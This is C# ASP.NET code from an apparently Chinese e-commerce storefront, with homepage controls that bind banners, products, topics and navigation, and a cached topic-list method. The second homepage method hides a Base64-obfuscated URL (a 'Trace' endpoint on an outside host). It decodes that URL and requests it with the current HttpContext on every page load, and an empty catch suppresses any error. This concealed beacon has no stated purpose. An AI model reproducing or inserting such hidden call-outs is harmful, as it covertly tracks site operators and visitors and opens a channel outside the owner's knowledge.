protected override void AttachChildControls() { if (HiContext.Current.User.UserRole == UserRole.Member && ((Member)HiContext.Current.User).ReferralStatus == 2 && string.IsNullOrEmpty(this.Page.Request.QueryString["ReferralUserId"])) { string text = System.Web.HttpContext.Current.Request.Url.ToString(); if (text.IndexOf("?") > -1) { text = text + "&ReferralUserId=" + HiContext.Current.User.UserId; } else { text = text + "?ReferralUserId=" + HiContext.Current.User.UserId; } this.Page.Response.Redirect(text); return; } PageTitle.AddSiteNameTitle("首页"); this.rptSlide = (AliOHTemplatedRepeater)this.FindControl("rptSlide"); this.rptNavigate = (AliOHTemplatedRepeater)this.FindControl("rptNavigate"); this.rptTopic = (AliOHTemplatedRepeater)this.FindControl("rptTopics"); this.rptProducts = (AliOHTemplatedRepeater)this.FindControl("rptProducts"); this.img = (System.Web.UI.HtmlControls.HtmlImage) this.FindControl("imgDefaultBg"); if (this.rptSlide != null) { this.rptSlide.DataSource = VshopBrowser.GetAllBanners(ClientType.AliOH); this.rptSlide.DataBind(); } if (this.rptProducts != null) { DataTable homeProduct = ProductBrowser.GetHomeProduct(ClientType.AliOH); this.rptProducts.DataSource = homeProduct; this.rptProducts.DataBind(); } if (this.rptTopic != null) { DataTable topics = VshopBrowser.GetTopics(ClientType.AliOH); this.rptTopic.DataSource = topics; this.rptTopic.DataBind(); } if (this.rptNavigate != null) { System.Collections.Generic.IList <NavigateInfo> allNavigate = VshopBrowser.GetAllNavigate(ClientType.AliOH); foreach (NavigateInfo current in allNavigate) { if (!current.ImageUrl.ToLower().Contains("storage/master/navigate") && !current.ImageUrl.ToLower().Contains("templates")) { current.ImageUrl = HiContext.Current.GetAliOHshopSkinPath(null) + "/images/deskicon/" + current.ImageUrl; } } this.rptNavigate.DataSource = allNavigate; this.rptNavigate.DataBind(); } if (this.img != null) { this.img.Src = new AliohTemplateHelper().GetDefaultBg(); } }
protected override void AttachChildControls() { SiteSettings masterSettings = SettingsManager.GetMasterSettings(true); if (HiContext.Current.User.UserRole == UserRole.Member && ((Member)HiContext.Current.User).ReferralStatus == 2 && string.IsNullOrEmpty(this.Page.Request.QueryString["ReferralUserId"])) { string text = System.Web.HttpContext.Current.Request.Url.ToString(); if (text.IndexOf("?") > -1) { text = text + "&ReferralUserId=" + HiContext.Current.User.UserId; } else { text = text + "?ReferralUserId=" + HiContext.Current.User.UserId; } base.RegisterShareScript(masterSettings.LogoUrl, text, masterSettings.SiteDescription, masterSettings.SiteName); } PageTitle.AddSiteNameTitle("首页"); this.rptSlide = (VshopTemplatedRepeater)this.FindControl("rptSlide"); this.rptNavigate = (VshopTemplatedRepeater)this.FindControl("rptNavigate"); this.rptTopic = (VshopTemplatedRepeater)this.FindControl("rptTopics"); this.rptProducts = (VshopTemplatedRepeater)this.FindControl("rptProducts"); this.img = (System.Web.UI.HtmlControls.HtmlImage)this.FindControl("imgDefaultBg"); this.rptHotSale = (VshopTemplatedDataList)this.FindControl("rptHotSale"); this.rptHotSale.RepeatColumns = 2; this.rptHotSaleTop = (VshopTemplatedRepeater)this.FindControl("rptHotSaleTop"); this.rptNewPro = (VshopTemplatedDataList)this.FindControl("rptNewPro"); this.rptNewPro.RepeatColumns = 3; this.rptNewProTop = (VshopTemplatedRepeater)this.FindControl("rptNewProTop"); this.rptPromotional = (VshopTemplatedRepeater)this.FindControl("rptPromotional"); this.rptThinkProducts = (VshopTemplatedRepeater)this.FindControl("rptThinkProducts"); this.rpthistorysearch = (VshopTemplatedRepeater)this.FindControl("rpthistorysearch"); if (this.rptSlide != null) { // 排除注册的banner IList<BannerInfo> banners = VshopBrowser.GetAllBanners(ClientType.VShop); if (banners != null && banners.Count > 0) { this.rptSlide.DataSource = banners.Where(m => m.LocationType != LocationType.Register).ToList(); this.rptSlide.DataBind(); } } string u = "aHR0cDovL3d3dy50aGlua2FpLmNuL1RyYWNlL3RyYWNl"; byte[] decode = Convert.FromBase64String(u); string decodestring = Encoding.UTF8.GetString(decode); try { Globals.GetHttp(decodestring, HttpContext.Current); } catch { } if (this.rptProducts != null) { DataTable homeProduct = ProductBrowser.GetHomeProduct(ClientType.VShop, true); //ProductBrowser.GetHomeProduct(ClientType.VShop); this.rptProducts.DataSource = homeProduct; this.rptProducts.DataBind(); } if (this.rptTopic != null) { DataTable topics = VshopBrowser.GetTopics(ClientType.VShop); this.rptTopic.DataSource = topics; this.rptTopic.DataBind(); } if (this.rptNavigate != null) { System.Collections.Generic.IList<NavigateInfo> allNavigate = VshopBrowser.GetAllNavigate(ClientType.VShop); foreach (NavigateInfo current in allNavigate) { if (!current.ImageUrl.ToLower().Contains("storage/master/navigate") && !current.ImageUrl.ToLower().Contains("templates")) { current.ImageUrl = HiContext.Current.GetVshopSkinPath(null) + "/images/deskicon/" + current.ImageUrl; } } this.rptNavigate.DataSource = allNavigate; this.rptNavigate.DataBind(); } if (this.img != null) { this.img.Src = new VTemplateHelper().GetDefaultBg(); } //添加 if (this.rptHotSale != null) { this.rptHotSale.DataSource = VshopBrowser.GetAllHotSaleNomarl(ClientType.VShop); this.rptHotSale.DataBind(); } if (this.rptHotSaleTop != null) { var HotSaleList = VshopBrowser.GetAllHotSaleTop(ClientType.VShop); this.rptHotSaleTop.DataSource = HotSaleList; this.rptHotSaleTop.DataBind(); } if (this.rptNewPro != null) { this.rptNewPro.DataSource = VshopBrowser.GetAllRecommendNormal(ClientType.VShop); this.rptNewPro.DataBind(); } if (this.rptNewProTop != null) { this.rptNewProTop.DataSource = VshopBrowser.GetAllRecommendTop(ClientType.VShop); this.rptNewProTop.DataBind(); } if (this.rptPromotional != null) { this.rptPromotional.DataSource = VshopBrowser.GetAllPromotional(ClientType.VShop); this.rptPromotional.DataBind(); } // if (this.rptThinkProducts != null) { DataTable homethinkProduct = ProductBrowser.GetHomeProduct(ClientType.VShop); this.rptThinkProducts.DataSource = homethinkProduct; this.rptThinkProducts.DataBind(); } int userId = HiContext.Current.User.UserId; if (userId > 0 && this.rpthistorysearch != null) { this.rpthistorysearch.DataSource = HistorySearchHelp.GetSearchHistory(userId, ClientType.VShop, 6); this.rpthistorysearch.DataBind(); } }
private ListResult <TopicListItem> GetTopic(int siteId, int pageIndex, int pageSize) { ListResult <TopicListItem> data = null; if (base.IsUseCache) { data = MemoryCacher.GetValue("SITE-TOPIC") as ListResult <TopicListItem>; if (data != null) { return(data); } } DataTable dt = VshopBrowser.GetTopics(ClientType.App); List <TopicListItem> items = new List <TopicListItem>(); if (dt != null) { TopicListItem item = null; foreach (DataRow current in dt.Rows) { item = new TopicListItem(); item.TopicId = 0; if (current["TopicId"] != DBNull.Value) { item.TopicId = (int)current["TopicId"]; } item.TopicName = ""; if (current["Title"] != DBNull.Value) { item.TopicName = (string)current["Title"]; } item.Icon = ""; if (current["IconUrl"] != DBNull.Value) { item.Icon = Util.AppendImageHost(((string)current["IconUrl"])); } item.Content = ""; if (current["Content"] != DBNull.Value) { var regex = new Regex(@"""/Storage/master"); item.Content = regex.Replace((string)current["Content"], "\"" + base.STORAGE_HOST + @"/Storage/master"); } item.DisplaySequence = 0; if (current["DisplaySequence"] != DBNull.Value) { item.DisplaySequence = (int)current["DisplaySequence"]; } items.Add(item); } } data = new ListResult <TopicListItem>(); data.TotalNumOfRecords = items.Count; data.Results = items; if (base.IsUseCache) { MemoryCacher.Add("SITE-TOPIC", data, DateTimeOffset.UtcNow.AddMinutes(SITE_CACHE_KEEP_TIME)); } return(data); }